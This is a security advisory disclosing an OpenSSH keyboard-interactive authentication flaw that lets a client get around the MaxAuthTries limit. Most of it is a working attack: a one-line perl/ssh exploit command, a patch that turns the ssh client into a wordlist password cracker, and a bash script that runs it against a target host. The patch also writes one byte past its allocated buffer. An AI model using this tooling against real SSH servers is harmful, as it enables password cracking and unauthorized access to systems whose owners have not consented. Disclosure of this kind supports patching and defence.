OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

[king cope <isowarez.isowarez.isowarez () googlemail com>]

OpenSSH has a default value of six authentication tries before it will
close the connection (the ssh client allows only three password
entries per default).

With this vulnerability an attacker is able to request as many
password prompts limited by the “login graced time” setting, that is
set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because
they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x
10000'` targethost

This will effectively allow up to 10000 password entries limited by
the login grace time setting.

The crucial part is that if the attacker requests 10000
keyboard-interactive devices openssh will gracefully execute the
request and will be inside a loop to accept passwords until the
specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist
and any passwords piped to the ssh process to be used in order to
crack passwords remotely.

---snip---

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
> char password[1024];
 510c512,517
 < authctxt->success = 1; /* break out */
 ---
> printf("==============================================\n");
> printf("*** SUCCESS **********************************\n");
> printf("*** PASSWORD: %s\n", password);
> printf("==============================================\n");
> exit(0);
 1376a1384,1385
> char *devicebuffer;
> int i;
 1386a1396,1405
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal("cannot allocate devicebuffer");
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, "p,", 2);
> }
> devicebuffer[200000] = 0;
 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
> packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
> char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
> char *pos;
 1425a1444
>
 1430a1450
>
 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, '\n')) != NULL)
> *pos = '';
> printf("%s\n", password);
> packet_put_cstring(password);

---snip---

After applying the patch you can use this shell script to make the
password attack from a wordlist:

---snip---

#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done

---snip---

For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173

The attack has been tested against a new FreeBSD 10.1 system and older
FreeBSD versions such as version 6.2.

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